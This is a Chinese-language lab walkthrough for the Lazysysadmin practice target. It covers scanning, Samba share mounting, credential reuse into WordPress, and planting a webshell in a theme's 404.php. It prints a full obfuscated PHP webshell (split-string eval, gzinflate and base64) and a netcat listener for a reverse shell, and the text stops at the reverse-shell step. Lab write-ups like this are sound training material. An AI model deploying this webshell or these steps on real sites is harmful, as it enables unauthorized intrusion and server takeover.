靶机实战 - Lazysysadmin | Ankioの记事本

2022年10月30日14:00:02已关闭评论21 views字数 3209阅读10分41秒阅读模式

靶机链接: https://pan.baidu.com/s/1eLFOW0q8a9L553anRE20hA 提取码: 8820

攻击 IP（Kali） - 192.168.224.139

被攻击 IP(Lazysysadmin,通过主机发现) - 192.168.224.138

目标：拿到服务器 root 权限，并以 root 用户身份登录服务器

主机发现#

netdiscover -r 192.168.224.0/24

或者

nmap -sn 192.168.224.0/24

因为攻击机和被攻击机采用 net 模式连接网络，虚拟机网络设置里面可以看到 net 模式分配的 ip 段为 192.168.224.0/24,所以进行主机发现只要扫描该网段就行。

检查该 IP 开放端口,并进行服务识别#

nmap -v -A -T4 192.168.224.138

对扫描结果进行分析#

SSH 服务（22）#

可以考虑爆破，如果知道用户名的话，不知道也可以，但是非常浪费时间

WEB 服务（80）#

80 端口是 WEB 服务，robots.txt 规则中存在不允许访问的目录

访问这几个目录都没有发现有价值的信息
使用 dirb 工具进行目录扫描
dirb http://192.168.224.138
扫描到以上目录信息
先访问一下 info.php,是一个 phpinfo 信息泄露
接着访问 wordpress,一直提示博主叫 togie

那么刚才 ssh 部分用户名就很有可能是 togie 了，或者其他登录服务的用户名是 togie 了
看见署名为 admin，猜测后台账号可能是 admin
尝试访问 wordpress 后台路径(刚才扫描出来了)http://192.168.224.138/wordpress/wp-admin
尝试爆破~失败
访问 http://192.168.224.138/phpmyadmin/,是数据库管理工具，懒得爆破了

Samba 服务（139,445）#

使用 enum4linux 枚举 samba 主机信息
发现允许任意用户登录
发现存在共享目录与打印机
远程挂载共享目录 sudo mount -t cifs -o username="",password="" //192.168.224.138/share$ /mnt
挂载的是网站目录
找到了 wp-config.php 文件
发现数据库账号和密码
尝试直接往里面挂大马，发现没有写入权限，只得从数据库下手了
从刚才找到的 phpmyadmin 登录
虽然登录成功，但是没有权限

尝试登录用户后台...居然成功了...
登录成功后，把这个页面设置成了中文~看着舒服

然后尝试写个大马，wp 允许编辑 php 文件来编辑主题，研究了半天觉得还是 404 页面靠谱

<?php
$password='admin';//登录密码


$html='$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'('."'lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R4Ugubbv961+/7LnfFGyOAsyqtzrOnre3UHw7GN0ilS1Pf96EIQHI5LmcrXLnmiSBAdHDRNpmE2yIKfDhLRRt39poeOG2UY3NA1ZIZDjoVbjUF/i8AQQhoEgx0d+SDALibb6pdwO4n7Xdqzh33fdrvnP460Z2uFhx3M+f6DDT9mhd5G5odn66Ny04k/N8bvz0empouuVCA4p6jGUq6cP10M7iYOmexl8dv7t2XHRtTtjbI9a2O4UgTfg+Ntdcns4Lm69uBXcZPndU/JIbKfo3Tg8nMSTq0JGmgeSQkYPKc6lvuQHFbnQ1EgwPGYZSdWlkiWrhKZjSDwLuCA+UNQkzwVUafH9gfCfYFKaflFB01i9rxrETEj1Rc5zlrCCcG1uKjfU+xWwKAPLFzJa6Wugt6aB9qFOUjZ7A5SBmmbVU2YF3ivkS0T2IIMrtuWhg+cZ2Sm68Lzrg2bD/Mq/pkp7g0cDXC4g9gl6LjlMX7UcQJH9dSar7AT9/xp7FfqcpSkpz+oEnSdMEGm9ySMqOM2J1MAovfU6Ik1jEoSEgxrN+h5maQ7shVSqDlzENCHQexFhUSnxmsaLQiHy7EYE6qlkcWS+O66zeDmqJZtTZG5EXCXWmBUY2YA3/VOIN2+QNucH+YF06NcvVFmQauq/51ARzvxz+NpnhOWhlbqtiS6bZpFgZXOOMF226x4UfMZAVmws5oQus1prYwybPk1prr6yT34QXG9zHAOZF2+tyrVchbHLMpi8ODbQ+cC96l17PrxmdLay9i67Vm/gQd+2trJ3LW/gOp575vQ7lmsgzx1Y29HqW+6ZbTmeUZn+K0MGL3KVSkjnNdz5oS13tjgMEM6H4tfUIIEpJ2elH22aqDmZZLLR3kfQV2vjtIwAFvlPbWap6xvK5j2dZIm8HlTVmCOugVRoKiFJPlJ+loYdiKlshpR0ZAL+oiRXuFUE2JT/HjRSFCSC1MpqNvfl7Z4EeJYt2AMjBZzxyqmsX+rgPHqiaZQEef2yBd8Ks+ns92CLvwPyGCQbLQBs+h8=')));";$css=base64_decode("Q3JlYXRlX0Z1bmN0aW9u");$style=$css('',preg_replace("/#html/","",$html));$style();/*));.'<linkrel="stylesheet"href="$#css"/>';*/

理论上访问一个不存在的页面就应该直接 404，但是可能由于我整个 php 重写的大马导致 404 没有成功，
不过通过刚才挂载的目录可以找到模板目录的绝对路径
访问模板目录 http://192.168.224.138/wordpress/wp-content/themes/twentyfifteen/404.php
成功访问大马
登录后使用大马反弹 shell
kali 监听 nc -nvlp 1234
大马反弹 shell